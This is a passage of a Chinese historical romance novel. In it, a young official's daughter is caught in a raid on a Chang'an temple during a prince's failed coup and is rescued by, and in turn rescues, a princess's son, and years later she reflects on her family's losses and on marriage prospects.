顾珂浑身血液像是被冻住一般,她连呼吸都忘了,猛的缩回手,一把拽住身侧的谢氏,返身便往寺内跑。
周围也有反应快的,匆忙间也呼喝着家人仆从往寺里躲。
大兴善寺是有武僧的,在外面情况不明的时候,先躲回寺内肯定是最安全的。
沿路有闻迅赶来的僧人逆着人流奔向山门,慌忙间总算落了门挡,看着僧人们又找来木桩等物什顶门,众人才敢轻抒口气。
门外,马蹄铿锵,甲叶相撞,呼喝声与马嘶声在街巷里回荡,仿佛下一刻就要破门而入。
风从外面刮进来,带着一丝血腥气,钻进了顾珂的鼻孔,她觉得心脏都要跳出来了。
众人挤进大雄宝殿,一时间寺里乱成一团,隐隐有男子的咒骂和妇孺压抑的哭声。
一进殿内,谢氏便将顾珂紧紧搂进怀里,脸色苍白,身体尤自抖个不停,剧烈的心跳声在顾珂耳边撞击。
直听到外面的响动渐渐远去,声音沉进巷尾,顾珂才敢微微松口气,发觉已是一身冷汗。
几个僧人手持棍棒拥着一位身着褐色袈裟的中年僧人快步走了进来,便是大兴善寺的住持缘觉方丈。
缘觉方丈步伐虽急,面上丝毫不见慌乱,双手合十,道了一声佛号“众位檀越不必惊慌,已经有弟子探过了,外面的兵马已离开这附近,目标并不是寺内。只街上一时兵慌马乱,不知是否还会有变故,众位此时不便在路上行走,不如先在寺内避避风头,观察一下局面,再做定夺不迟,佛门自当护佑众位檀越”。
众人听得缘觉如此说,松了一口气,连连点头道谢。
缘觉垂眸低诵一声佛号,只道"皆是缘法,檀越们不必多礼”。说完低头嘱付身旁僧人几句,先行离开了。
大兴善寺后院禅房众多,在缘觉方丈的安排下,众人如有需要都可自去休息。
谢氏一向身体弱,惊吓之下,脸色苍白,竟是咳嗽不止。顾珂忙带着谢氏选了一间房间,让她先行休息,又吩咐侍女去寺里问问,
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看看能否找些水和吃食,顺便看看能不能找些压惊止咳之类的药物,好让谢氏缓解一下。
扶阿娘躺下后,顾珂才喝了口知情递过来了水,稍微缓解一下喉咙的火辣干涩。
虽说在云州呆了两年,那里地处边境,大小冲突总不断,但她也只不过是个十二岁的少女,只不过谢氏体弱,又一贯没有主意,顾珂才强自撑着,此时微松口气,疲惫和恐惧慢慢的涌上心头。
刚才的卫军虽说是走远了,可外面现在是个什么局面,她们什么时候能回家,却没有答案。
这个时间,家里的男人们应该都还没下衙,他们会不会遇到什么危险。也不知道府中现在如何了,如果跟寺里现在的情况一样,那有大伯娘坐镇,又有武艺高强的大哥和姐姐,应该无事。
顾珂正担忧着,派去打听消息的知意跑了回来.
"娘子,戒空师傅说现在外面一个人都没有,只隔个十来丈远,有个把卫兵把守。看服制像是永王掌管的左右金吾卫。"
戒空是缘觉的小弟子。
那便是了,顾珂心下了然。她虽只有十二岁,但身在官宦家庭,家中的男人有时会说起政事,难免会听了几耳朵。知道太子李维桢近日外出办差了,不在长安,偏太子出发没几日,圣人就病重了,外间都在传言,圣人怕是不好。
永王是圣人的异母弟弟。手中握着掌宫中、京城道路、水草之宜的左右金吾卫。自圣人病重后,竟慢慢的封锁了宫城,他似是早做好了准备,长安各要道被他安插了眼线,旁人竟一时奈何不了他。祖父和伯父递折子想面圣都被打了回来。这情形由不得人不多想。
想来圣人病重多日,太子也当收到消息往回返了,这两日应该就到长安了,如果太子真的及时回宫稳定朝局,就没永王什么事了,估计永王是怕错过时机。
待尘埃落定,就算太子回来了,估计也于事无补,且如果永王成功的话,太子,估计也就回不来了。
“寺里可有定惊止咳的药"顾珂看看面色越来越差的谢氏问道。
”有的有的!“知意连连点着小脑袋瓜,“我去问时,戒空师傅的师兄戒能师傅就在旁边,听戒空师傅说,他最擅医术了,戒能师傅听我说了几句二夫人的症状和素日服用的药物后,便说他房间里有药材,还有熬药的器具,他回去帮咱们熬了来,说让一个时辰后去取。”
闻言,顾珂心下稍安,也不知要在这困多久,阿娘的身体是她最担忧的,总算天无绝人之路。
“蓁蓁”谢氏稍稍坐起身子,唤了顾珂的小字。
“阿娘,是否要喝水,您别担心,刚去打听了,寺里不会有事的,也备有药材,一会我便去取了来,你服下就能好多了,父亲很快就会来接我们的”。
顾珂略微吃力的扶住母亲,在母亲身边的女使白芍的帮助下,二人合力让谢氏找了个合适的姿势半倚着。谢氏又就着顾珂的手喝了点水,闻言笑了笑。
“阿娘的蓁蓁真能干,要是个男孩子就更好了,可惜是个女儿身白白浪费了这身才学”。
9. 躲藏
又来了,顾珂的心里微沉。
知道阿娘心里是疼爱她的,也知道这是母亲的心魔,也听过好多遍这样的话,可心里还是会不由自主的难过,只是怕阿娘伤心,每次听了,也并不争辩。
她递过茶杯,抿了抿唇,许是这一日变故太多,心中承受的压力与担忧在一这刻找到了突破口,她竟有些忍不住,难得的与阿娘顶撞了一句“阿娘的思想未免狭隘,女儿身又如何,先帝时的昭容上官氏,执笔诏书,称量天下,笔定兴亡,谁人不赞一声上官家的女郎,谁又因她是女儿身而看轻她”。
谢氏愣了一下,没想到顾珂会顶撞她,略带惊讶道,"这世上,有几个女儿家能成为上官氏,且时人说起上官氏,更多的却是说她妖淫渎乱,有几人是真正赏识她的才学的"。
“成王败寇,那都是别人泼的污水!”顾珂犹是不服。
谢氏轻轻握住她的手"阿娘知道,我们蓁蓁是这世上最好的女孩子,又聪明又懂事,还这么能干,但是这世上的女孩子都是不易的,越是有本领的,要承受的就越多,以后嫁到夫家,要懂得守拙,谦让夫君三分,莫要让他失了颜面"。
谢氏轻叹口气,倒底没说再说出口。活了半辈子,她见得多了。
这世上的女子,除了自身要行的稳立的住外,还要有可靠的兄弟外家撑腰,要不然在夫家受了委屈都没地诉苦。
顾珂咬唇点点头,垂下眸子,这会子,她的心绪也和缓了下来,担忧阿娘的身体,不欲再与之争辩。
母女二人又说了会外面的情况,顾珂心里沉闷,便借口去戒能师傅那里取药出去转转。
天色渐渐有些暗了,看着远处最后的一丝光亮,想来再用不到半个时辰,太阳就要全部落山了。
顾珂是上午来的寺里,在这里拜了佛用了斋饭后,谢氏带着顾珂又在寺里转了转。
取药的时辰尚早,顾珂记得上午来时后园里有一片玉兰花树,此时开的正好。便徇着记忆带着知情知意想再去那边看看。
三人刚刚迈进后园,突然传来阵阵重物落地的声音,接着便是纷乱的脚步声,三人一惊,只见后园墙上翻过来十来个黑衣人,此时看见三人,正快速向三人冲来。
顾珂最先反应过来,来不及细看,拉上知情知意,猛的往来时的方向跑。
此时寺内不同方向也传来了叫喊与打斗声,三人没命的跑,鞋子跑丢了也顾不上,只觉身后的追赶声越来越近。
三人专跳屋子多的院落跑,意图甩开那些黑衣人。
顾珂已经顾不上旁的了,只有耳边的风声和眼前的路。等拐出一个院落,她突然发现,不知道什么时候,知情和知意跑丢了!
应该是在刚才的路上,拐角太多,二人可能没跟上,又找不到自己,顾珂的心瞬的揪起,毫不犹豫的转身,便要回身去寻二人。
刚跑出去二步,她的脚步就顿住了,有男人的呼喝声向她这边来了,眼看着离她越来越近。
顾珂的嘴唇咬的出了血丝,只能暂时放弃去寻二人,打定主意,顾珂便准备去寻阿娘,可是跑了几步,顾珂便绝望的发现,她迷路了。
此时太阳的最后一丝已完全的沉入了地平线,暮色四合间,顾珂对大兴善寺的布局又不熟悉,刚才的一番奔跑,她已然找不到自己所处的位置,又不知要往哪里去。只觉得这天地间,只余自己一人。只能凭感觉跑。
路上偶然能见到落单的香客仓惶的身影,甚至奔跑间,顾珂还绊到了东西,定睛一看竟是个人,此时躺在地上一动不动,脑边有暗褐色的痕迹,她顿时头皮发麻,尖叫声都到了嗓子眼,被她死死的捂住,此时的她眼含泪花,喉头呜咽两声,也顾不上观察这人是死是活,只能继续奔逃。
她觉得自己的肺快要炸开了,腿也越来越沉重,她跑不了多久了,随着前方院落也传来的呼喊声,顾珂都要绝望了,焦急环顾四周后,她就近跑进一间屋子,仓惶间还不忘把门轻声关上,这间屋子里家具简单,只一张罗汉床,一个柜子,并西间的一个屏风,床底连个遮挡的帘子都没有。
没办法,顾珂只好闪身蹲到屏风后面,又取下头上簪着的鲤形鎏金簪紧紧握在手上。一时间又惊又惧,不知道阿娘怎么样了,找不见她,得急成什么样,还有知情和知意,她们两个能否逃脱,自己又能否脱险,鞋子也跑丢了一只……
她只觉得此刻在这个黑暗的房间里,这些情绪都涌上来,快把她压垮了,虽然知道此时并不适宜,但却再也忍不住用没握簪子的那支手捂住嘴,哽咽起来,豆大的泪珠啪嗒啪嗒的落在手背上,被她忽乱的擦掉。
阿娘果然说的没错吗,她要是个男孩子是不是此刻会不会好一些。
身后突然传来呼吸声,顾珂感觉全身的血液瞬间被冻住了,她的头皮都炸了起来,电光火石之间,她本能的转过身,扬起手就刺了下去。
“嗳?!”那人似是没料到顾珂会刺他,慌忙间抓住她剌过来的手,另一只手则捂住了她的嘴,返身一把把她抵在墙上。
“嘘!我不是坏人!我是惠和公主府的裴越”。
借着窗边透过的一丝丝光亮,顾珂望进了一双好看的眸子,耳边传来他略微低哑的声音,竟不由自主的停止了挣扎,眼泪也忘了流。
裴越?听他的声音大约比自己大不几岁,倒真是与传闻中的公主府小郎君差不多。
顾珂刚回长安没多久,只参加了二三次雅集,并未碰上过裴越此人。
自称裴越的人见顾珂轻点了点头,不再反抗,试探着慢慢撤回了捂着她嘴巴的手,见她果然安静了下来,这才松了口气,松开了另一支手。
他侧耳听了听,又低声道“来不及多说,他们朝这里来了,听脚步声有五六人”,又打量了一下四周,"这里不安全,跟我来"。
说着撑起了对着门的窗子,又返回来隔着袖子拉住了顾珂的手腕,顾珂就这样呆呆的被他拉出到了门外,又任由他拉着自已东拐西拐的,一直未出声,心头也为自己无端的信任他有些惊讶,大概也是除了相信他,没有更好的选择了。
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>直到二人面对着大兴善寺中最高大粗壮的那棵老玉兰树。
“快上去”。裴越看她还杵那不动,不断以眼神催促她,面露焦急之色。
顾珂呆了呆,上去,怎么上去。
看她越发杵着不动了,裴越也呆了呆。
“你不会爬树吗?”
顾珂摇了摇头。
裴越抿了抿唇,似是有些没想到,黑暗中,顾珂好像都看到他皱了皱眉头,"那只能我带你上去了,抓好"。
抓什么,顾珂刚想问出口,便觉腰上一紧,双脚离了地,转眼间,已是被他带上了树。
气氛一时有些尴尬。
裴越忙抽回了手,轻声道“情急之下,得罪了”。
他庆幸此时二人坐在玉兰花树上,密密麻麻的玉兰花瓣遮挡了月光,要不然这小娘子肯定会发现自己的耳尖有些微红。
顾珂未再开口,脸上的泪痕已经风干,只眼睛略有些干涩。裴越在自己来之前就在那间屋子里,自己偷哭的窘样想必他也都看到了,心里还有些怨他唐突的,但又知道自己没有道理,人家也没想过自己会闯进来,此刻又好意救她,情急之下也是无可指摘。
谁让自己不会爬树呢,看来在云州时,表兄表姐还是过于斯文了些,竟从未教她这般重要的保命之术。
沉重的脚步声很快打破此处的安静,二人屏住了呼吸。
顾珂透过玉兰花的缝隙,看到了几人进了自己方才藏身的屋子,她心中一阵后怕,又暗暗配服他思绪缜密,那几人竟从裴越刻意打开迷惑他们的窗子跳出去往后巷去了。
裴越仔细听了听,低声道“前殿和禅房那边传来打斗,你放心吧,这说明缘觉老和尚他们正在抵抗,大兴善寺的武僧武艺高强,只一时让这帮宵小打了个措手不及,很快就会组织起防御的”。
“宵小?不是卫兵吗?听寺里的人说外面现在有左右金吾卫的人把守”,顾珂抓住了话中的重点,也压低了声音反问道。
“左右金吾卫?”他嗤了一声,“真要是卫兵你早就没命了。这些人的脚重沉重杂乱,一听便知没有经过系统的训练,充其量有把子力气,又仗着人多罢了。”
说着,又指了指外面墙外"你看,如果真的是左右金吾卫,那他们也不知道什么时候撤走了。他们这时候估计正是关键时刻,可舍不得派人来个寺庙,圣人又不在这。估摸着是哪帮胆大包天的,我注意到,他们的目标是大雄宝殿,这是趁乱想混水摸鱼,想偷大兴善寺的前朝舍利和佛祖金身。"
顾珂顺着他的手向墙外看了看,街道上果然已没有一兵一卒,看来裴越分析的似乎有些道理。
玉兰花将他二人包裹的严严实实,只觉得他清越的声音在刻意压低下,带着一丝沙哑,竟觉得说不出的好听,随着夜风的轻拂,与玉兰花瓣一起拂过她的耳边。
玉兰花树下是一个不大的池塘,里面养着几尾肥硕的红鲤,皎洁的月光下,红色的鳞片泛着微光,竟一时晃了眼。
“这红鲤味道极鲜美”。
10. 白马
裴越的声音又传来,顾珂呆了呆,还有人吃红鲤?
红鲤鱼不是观赏的吗,公主府的人竟能做出这般焚琴煮鹤之事。
夜风又送来了裴越的轻笑声,顾珂才意识到她把心里话说出来了。
“缘觉这老和尚,佛法、武功不见得是顶尖,但这养红鲤的本事当真是数一数二的,就是极小气的很,去年我不过抓了一只烧来吃,他每次见我母亲总要念叨,我母亲不胜其烦,再也不来了,改去修道了”。
顾珂又沉默了,心里默默的消化这件事。
“你是谁家的小娘子啊?”
"延寿坊顾家,顾衡乃祖父名讳。"顾珂犹豫了一下,还是说了出来。
“是大司成家的小娘子啊,上午游街前还看到老头了”。
“那祖父现在何处,可回府了?”顾珂心中挂念,不免追问道。
裴越却摇了摇头“早上我们出去去游街后,就再未看见他”。
顾珂略有些失望,又抓住个关键词“什么游街,今天的新科进士游街吗?”
裴越有些不好思又带着些压不住的得意道"是啊,今年圣人病重,取消殿试,只以会试成绩辅以六部面试,昨天发的榜,我侥幸中了进士,今天参加的新科进士游街"。
“那你可真厉害,我大伯二十岁中的进士,我爹都二十二岁了,你看进来没比我大多少”,顾珂由衷的夸道,她虽然自幼在祖父祖母身边熏陶,也算饱读诗书,可从来没研究过科举的内容,不过对比一下家里的男丁,她觉得伯父和父亲自然是学富五车的,裴越比他们中进士要早,那应该是比伯父和父亲还要厉害一点吧。
裴越的嘴角越来越难压,面上还谦虚道“侥幸而已”。
“那你怎么在这啊,不是应该去参加曲江宴吗”,顾珂又狐疑道。
“圣人身体抱恙,今年的曲江宴自是取消了,上午游街后被一群娘子们追到了附近,无奈躲到这寺里,跟缘觉打了个招呼后就找了个房间睡上一觉,结果一醒来就看到你闯了进来”。
“……幸亏碰到你了,谢谢”。
“举手之劳而已”。裴越感觉自已的脸也有些热了。
他转过来向墙外仔细张望了一下,“趁着现在外面现在没有人,先离开这,我把你送回府,我再去找我母亲”。
“可我母亲还有侍从们还在禅房那边,那边还有好多跟我们一样滞留的人”。
裴越想了想,低声道"我知道你担心你母亲,但是那边有各家带来的侍从、家丁,禅房那边又离僧房最近,听着的几处打斗声也都是从禅房那边传来,想来僧众大部分都在那边,这些宵小的目的是正殿的宝物,应该不会去禅房那边多做纠缠。我们现在就两个人,如果我们往禅房那边去,这路上万一碰到折返的他们,只我一个的话,就算打不过,我也可以甩开他们,可我怕没有办法保全你。不如我们趁着街上没有卫兵,悄悄送你回府,顺便也看一下外面现在是什么情况了,你回去之后告诉家中的父伯兄弟,倒时候是组织人来救援还是怎么样都可以图谋"。
裴越也是有些担心母亲的,刚才在树上隐约可见皇城方向一片火光,结合顾珂的话,猜测永王终于等不及要在今天动手了,也不知道母亲那边怎么样了,小舅舅又能否顺利赶回来,只怕永王在路上会些动手脚。
顾珂心中虽不愿,可也觉得他说的是这个道理。自己想去禅房那边,偏又没有自保的能力,真遇到危险,还得连累裴越,如果没有自己,相信以裴越刚才带他上树的能力和缜密的判断,不管是走是留,都会安全脱身的。倒不如趁着外面没有卫军,回去找父伯求援。
顾珂点了点头。只盼着大兴善寺的大和尚们武功盖世罢。
“顾小娘子,得罪了。”裴越长臂一展,再次勾住顾珂的纤腰,纵身一跃,二人回到了地面上后,又带她翻过了大兴善寺后园的外墙。
外面果然如裴越观察到的那样,周围空旷无人,只皎洁的月光流淌在青板路上,偶尔能听见远处人家的犬吠声。
二人弯下身子小心翼翼的沿着墙角快步往延寿坊的方向去,刚转过巷口,二人一喜。
巷子约百丈远,巷子的另一头则栓着一匹白马,估摸着是摸进寺里的那些人骑来的。
二人加快速度向巷口奔去,这时,后面突然传来了密集的追赶声,大约是在墙外盯梢的人发现了。
裴越皱皱眉头,当机立断的把顾珂往巷外的方向一推,低喝到“走!骑上马快走!”
见顾珂呆立不动,这小娘子莫不是不会骑马,不由急道"快走!不要管我!骑上去一夹马腹它就走了,抓紧缰绳就好!这些人伤不了我,等你骑马离开这,我就找个地藏起来,你在这我反而施展不开!快!"
说声又冲顾珂连连挥手,耳边传来风声,他忙弯腰就地滚了一圈,却是敌人已至。
对方有七、八个人,裴越手自腰间一扣,拔出了腰间的软剑,与对方缠斗了起来。
顾珂死死咬住嘴唇,内心天人交战,终是将心一横,拔腿拼命的往巷子口奔去。
看见她终于照做了,裴越心中微松口气,出手出电,手中的剑挥的更快,回身一挑,挑断了一个想要追赶顾珂的黑衣人的腿筋。
随着黑衣人越来越多了。裴越心下一沉,眉头都快拧成了个疙瘩,这些黑衣人难道是在寺里遇挫,正在原路撤退的时候让他二人赶上了,那也实在是……太倒霉了些。
好像过了一瞬间,又好像过了很久很久,久到裴越握剑的手越来越抖,抖的剑都要握不住了,裴越也不知道自己在跟多少人打,只觉得杀不完,怎么也杀不完。
眼前被黑衣人围的透不过风,他想杀出包围圈找个地方躲一会,喘口气都做不到。
那一瞬间,裴越心里走马灯似的闪过很多,有乐游原上跑马时拂过面庞的清草香,有早上游街时娘子们投掷过来的花果香,有夜色下随风摇曳的玉兰花香。
他才十五岁,刚刚大登科,还未小登科,人生还远远算不得什么园满,圣人和母亲母亲吉凶
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难测,小舅舅生死未卜,连早上父亲给他留的棋局,他都还未破……
难道他裴越的命今天要为了一个只有一面之缘的小娘子送掉,他甚至还不知道她的名字,总觉得……有点不太甘心呢。
哒哒哒!
什么声音撞进了裴越的脑海,透过重重人影,他循着声音吃力的望去。
驾!这回声音更清晰了。
有人骑马过来了!
裴越撑起了精神,抬腿踢飞了眼前的一个黑衣人,视线终于开阔了起来,使他得以看清眼前的画面。
是顾小娘子!骑马的人是顾小娘子。平心而论,顾小娘子最多算是秀丽的长相,随着一整晚的奔逃,她的头发几乎全部散了下来,看上去颇为狼狈,但她的唇紧抿着,发丝在身后飞扬,脸上紧张又专注的神情几乎让裴越移不开视线。
顾珂骑着马很快的冲到了近前,可她丝毫没有减速的意思,一时间竟镇住了黑衣人,忘了攻击,眼看就要被她的马蹄踏中,黑衣人也顾不上裴越,纷纷躲避开来。
顾珂骑着白马冲散了众人后一勒缰绳,很快的回转马头,向裴越伸出了手。
裴越软剑一扫,逼退了最前的几人,快步上前,一个飞跃,借着顾珂的手,稳稳的落在了马上。
顾珂在他手搭上的一瞬间,已是用力加紧了马腹,白马似离弦的箭一样往巷子口冲去。
却有反应快的四五个黑衣人,迅速拦在前方,准备绊马腿。
裴越刚要松下的心瞬间又提了起来,一手搂住她的腰稳住身体,一手握着剑,已是做好弃马的准备。
顾珂丝毫没有减速的意思,周边的声音她都听不到了,天地间只余眼前的巷口,只要出了这巷口,她们一定会安全的。
“趴好!”顾珂把心一横,交待裴越,眼见几人已到了眼前,她猛提缰绳,双腿紧紧的夹紧马腹,同时俯下身子,紧抱着白马的脖子。
裴越感觉自已腾空了,黑衣人的刀自自己脚下空划而过,白马载着二人自几人头顶一跃而过,向巷子口疾驰而去。
半天,裴越才找到自已的身声,在她耳边真心夸道“你马骑的真好!”。
刚才那个程度,裴越自信跟自己的爱驹听风可以做到,但是眼前的小娘子跟一匹完全没有磨合过的马做到了,她才多大啊,看上去比自己小了有三、四岁。
二人一路冲出了巷子往延寿坊的方向去。
眼看身后归于寂静,知道是甩开了那帮黑衣人,裴越的心中却越来越沉。
路过的人家个个门户紧闭,别说打更的、查宵禁的,路上连一个鬼影都没碰上,看来长安城的运转已陷入瘫痪,事情果然如猜测的那样,应该是永王动手了。
白马载着二人一路狂奔,拐过这条巷子就到延寿坊了。
眼前突然一亮,阵阵马蹄声、还有铁甲磨擦的铿铿声回荡在火光照亮的巷中。
如一声闷雷,炸在二人耳边。
二人也看清了眼前的景象,那是一队兵马。
11. 父亲
顾珂的脸瞬间白的像纸,不知这是又碰上哪路人马。
耳边却传来裴越惊喜的呼唤声,腰间同时一松,裴越已下马朝对方奔去。
“母亲!”
“越儿!”队伍正中的马上,一个着铁甲的美貌女子也同时下了马,往前走了两步,扶住了裴越,又不住把他打量来打量去,看看他身上是否带伤。
“母亲,我无事。圣人怎么样?您和父亲怎么样?”裴越问完又觉得这个问题问得有些多余,下午就有动静的了,母亲这个时辰出现在宫外,那么结果只有一个。
“我和你父亲都无事,他现在在宫中坐阵,永王已伏诛,圣人……薨了。我准备领人去接应你小舅舅。”
果然跟自已揣测的一样,现在的情况容不得母子二人在这悲伤,裴越看着母亲红了的眼圈,只能安慰的拍拍她的肩膀,又想起正在路上的李维桢,略一思付“父亲一个人坐阵宫中不合适,他只是天家驸马,小舅舅又不知什么时候能赶到,真有宗室借机生事,父亲的身份也压不住他们,宫里还得您去坐阵,我去接小舅舅”。
“这……”惠和公主有些不放心。
“您放心吧,师父们都说我现在的武艺已经超过您了,我一定把小舅舅毫发无损的带回来”。
“你这孩子,这不光是只有武艺能解决的事。说实在的,你小舅舅一向谨慎,最近几日怕被永王的人手的发现,连飞鸽传书都未向长安发,他现在在哪,母亲也不知道,且永王虽已伏诛,但他的杀手们是早已派出去在路上埋伏的,只怕一时半会他们还收不到永王的死讯,而且这些死士眼中只有命令,就算知道永王死了,也未必会停手”。
“那母亲你打算往何处去迎小舅舅。”裴越道。
惠和公主柳眉微蹙,思付道“维桢去汾州赈灾,我沿着同州、蒲州的方向一路去迎他就是了”。
裴越却摇了摇头,“小舅舅去汾州赈灾的事永王也知道,他派杀手也会往那个方向去,以小舅舅的缜密,他不会想不到”。
他想了想,又低声在惠和公主耳边道“如果我是小舅舅,我会绕行陕州、虢州然后走渭水进长安,永王的人绝对想不到,您给我一队人马,我们走渭水沿路去迎小舅舅。”
说罢,又看着惠和公主的眼睛,轻轻道“我一定会把小舅舅平安的带回长安”。
惠和公主想了想,越想越觉得以李维桢的性子,肯定就是这么回事了。都说外甥像舅,这孩子这比做姐姐的都会揣摩弟弟的心思。
一时间不由自豪的看着眼前已经比她高过一头的儿子,满怀欣慰的点点头,算是应了。
定下大事,裴越这才突然想起给顾珂晾在了一边,急忙介绍二人。
顾珂早已下马,知他母子二人此时必有要紧的话要说,也不插嘴,只牵着马静静的候在一旁。
裴越简单告诉了母亲事情的来龙去脉,但此时也不是叙话的好时机,惠和公主吩咐手下带一队人马去大兴善寺营救,她刚才路过延寿坊顾家门前过,又简单交待了几句她知道的情况,知顾珂也惦念家人,便吩咐几个亲兵送顾珂回家,说等出了国丧,天下大定,会邀她去公主府做客云云。
顾珂向二人告辞,便打马跟几个亲卫走了。
亲卫将顾珂送至顾府门口,顾珂道了谢便要敲门,突然又响起了马蹄声。
待马行至近前,才看清是裴越追了上来。
“你……”顾珂有些惊讶。
她不似裴越,常年习武,早已学会练就夜间视物的本领。此刻随着裴越走到了顾府的灯笼下,慢慢的笼在这片暖雾里,顾珂总算第一次看清了裴越的相貌,剩下的话却是堵在嘴边,说不出来。
灯影摇摆间,将那本就俊秀的面容衬得愈发柔和清绝,顾珂心里只一个感想,看来他可能真的是被小娘子们追进寺里的。
二人四目相对,一时竟都无言。直到裴越的轻轻一笑,顾珂觉得,月光一定是洒进了他的眼里,要不然为什么他的眼睛里会有细碎的光芒。
“都忘了问,你的闺名可否告之”。
“我……我叫顾珂”。
顾珂闭上眼睛转了个身,那是她第一次见到裴越。
那夜她前脚回到家中后,后脚被永王困在宫中一天的祖父等人也回来了。家中的男人听她说了事情的经过后,正组织家仆想去营救母亲,刚出大门就碰上了被惠和公主的人护送回来的母亲等人。
果然像裴越说的那样,是一帮江湖匪徒想趁机混水摸鱼,大光善寺也不愧它名刹之名,武僧们全力保护香客,当晚香客这边最大的伤亡就是顾珂绊到的那个因为着急逃跑,不小心摔破头晕倒的香客。
倒是这帮匪徒被裴越杀了二个,砍伤无数。而匪徒们偷前朝舍利和佛祖金身时,因金身过大,匪徒们很是费了些功夫,正往外运时,被惠和公主的人迎个正着。
最令顾珂感到安慰就是知情和知意二人都平安无事,二人机灵,跑丢之后,见状况不好,找了个隐蔽的地方躲了起来,直到安全了才跑出来。
圣人薨了。这场永王之乱以圣人重病、永王封锁宫中开始,以惠和公主联合世家出兵清君侧诛杀永王落幕。
于长安城的大部分百姓来说,只是经历了一天混乱的日子,谁做皇帝都一样,日子照旧过。
顾珂眼角流下一滴泪。
她的人生却发生了巨大的变化。
母亲本就体弱,自那日受了惊吓,回来之后便缠绵病榻,不到一年,竟是撒手人寰。
父亲为母亲守丧一年后,便迎娶了他从小青梅竹马和离归家的季氏。
季氏的父亲是国子博士,与祖父是好朋友,季氏自小便认识父亲,季父还曾试探的与祖父提到过娃娃亲,只当时祖母未搭拢。
兜兜转转,事情又回到了原点。
季氏此前无子,嫁给父亲一年之后,生育了二房目前唯一的男丁顾珩,现在二岁。
对于这个继母嫁来后的表现,顾珂觉得,倒也无可指摘,只是她心中,是有些怨父亲的。
在她十二岁的印象之前,她一直觉得,父母之间的感情是诗词中描写的那样,父亲能抗住世俗的压力,年过三十,无子仍不愿纳妾,他们的感情是在天愿做比翼鸟
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,是心有灵犀一点通。
但却在母亲过世刚满一年后,他就能拥着别的女子展现出一样的深情。
顾珂有时默默的对着母亲的牌位流泪,想对她说,不是因为你好,你才是顾二夫人,是因为你是顾二夫人,父亲才对你好。
许是经受不了白发人送黑发人的悲痛,母亲去世后一年,从小把她养在身边的祖母也去了。
一时间,身边连失两位重要女性长辈。父亲虽也疼爱她,杜氏也时常关照她,但总不一样的,渐渐的有很多话她已不知该从何说起,与谁说起,便也不再说起。
大约从那时起,她就开始慢慢变成了世人眼中温雅端庄的顾家二娘子了。
大兴善寺那夜后,因谢氏的身体每况愈下,顾珂忙于照顾母亲,便由大伯父出面带着大伯娘去长公主府致谢。
新帝登基,永王的党羽还需要清算,长公主在宫中每日忙的不可开交,倒是驸马接待了他们。
再然后,就听说裴越留书跑去北面从军打回纥了了,长公主气得摔碎了裴越房内他最喜欢的那套邢窑白瓷杯。
其实,今年初,她是再见过他一回的。
那是灵州保卫战大捷后,做为主要功臣的他回京受赏。
长公主府的大郎君回来了,那日的场面,堪比五年前的新科进士游街。
有头脑灵活的绣纺甚至在沿路摆起了鞋摊。
顾珂坐在茶楼的包房里,她也说不上为什么要来,只是想看看他现在的样子。
旌旗飘飘,她一眼在人群中就看到了他。
他变了很多,如果说五年前的他是出鞘的剑,意气风发却又耀眼夺目,那五年后的他,就是一把归鞘的宝剑。
被北面的风吹了五年,他依然不像个军人,倒像个芝兰玉树、芳华内敛的世家公子。
他就那样跟普通的兵士一块,甚至比普通的士兵还安静,就那样从朱雀大街经过。
再后来,就听说他留在了长安。
翌日一早,顾珂便顶着个两个黑眼圈去季氏房里请安。
季氏多次委婉的表达过,不用她日日请安。顾珂坚持了几次后,看她确实是真心实意的,便每三日去她房里去一次。
进屋时,父亲正抱着珩哥逗弄,二岁的珩哥话还说不全,正是招人喜欢的时候。
时人讲究抱孙不抱子,顾怀仁转头看见长女进来,脸上有些尴尬,自从他续弦后,尤其是盼了十多年的长子出生后,顾珂便不太如以往亲近他了。
他承认对于幼子倾注了大部分的精力。但他总还是负责任的父亲,有时想关心关心女儿,二人聊聊天,总感觉又隔着什么,女儿还是那个女儿,知事、懂礼,甚至更端庄文雅了,可却再也没跟他说过知心话了。
顺手把珩哥递给季氏,招呼顾珂坐下吃茶,顺便问了些庆王府的事。
顾珂一一回了后,父女二人再也无甚话题了,顾珂便要告退了。
季氏忙留顾珂在这用早食,顾珂只道与顾珈约好,便往杜氏的院子去了。
到了杜氏的院子,还未进屋,就听见杜氏的骂声。
12. 画像
顾珈从杜氏的房里出来,倒是面色如常,还扬声回顶了几句,直气的杜氏拿着鸡毛掸子追到门口要打顾珈,被顾珂拦下,才作罢。
顾珈一边往院外走还一边对顾珂道“你可莫进她那屋子,当心她像人伢子似的把你卖掉,你还帮人数钱呢!”
杜氏刚进屋,闻声气的又要追打顾珈,顾珂又是一顿好劝。
“冤孽!别人家都怨母亲不够上心,平白耽搁了闺女的好时光,最后年岁大了,找不到好人家,你看看她倒好,我这好心托你舅母给你们打听的好郎君,连画像都给送来了,什么都不用她做,只她像圣人选妃似的看看哪一个能入她的法眼,她倒好,说我像人伢子,还说我像老鸨子,你听听,这都是在哪学的污言秽语是她这个未出阁的小娘子该说的吗!?"
杜氏大概是真气着了,脸色涨红,胸口巨烈起伏。
顾珂忙接过申嬷嬷递来的茶杯送到杜氏手上,让她喝口顺顺气。
知道这是托西平侯夫人又给二人张罗相亲对象呢。
“大伯娘莫生气,姐姐虽然这么说,但我们心里是明白您的苦心的"。
“好孩子,幸好有你贴心。这几年因为守孝把你们姐妹二人的亲事都给耽误了,但是咱们也不能随便就委屈自己嫁了,这要嫁的不好,还不如不嫁,所以就得把家世人品打听仔细了,你舅母眼光高着呢,她能送来的,那都是门当户对、一表人才的小郎君。她倒好,你看看谁家的小娘子二十了还待字闺中的,那都是老姑娘了,我在这都愁的睡不着觉,她还跟没事人似的,这个不去看,那个不去见,多说几句就说实在不行就去做姑子,你说气不气人!”杜氏越说越来气。
“我一会去劝劝姐姐,您可别气坏了身子”,顾珂忙劝道。
“好孩子,你母亲去的早,爷们们心又不细,那个季氏也是个不顶用的,你的事大伯娘都包在身上了,有些话知道你女孩子家家的不好多问,只一点你放心,有好郎君咱绝对要抢到手,绝不放过,要是没有好的,咱宁可不嫁,让琊哥养你们姐妹一辈子,他要敢说一个不字,我就打折他的腿。”
“好的,一切都听大伯娘的”,顾珂顺从的点点头。
杜氏稍稍顺了气,又突然想起了画像,“她不看,咱们看,可别浪费了你舅母的苦心,来,伯娘给你说说”。
顾珂任由她拉着走到桌案前,二人对着一幅幅画像品头论足。
“这第一个,是李刺史家的二郎,长得多英俊,一表人才的”,杜氏拿起一幅,满怀期待的看着她。
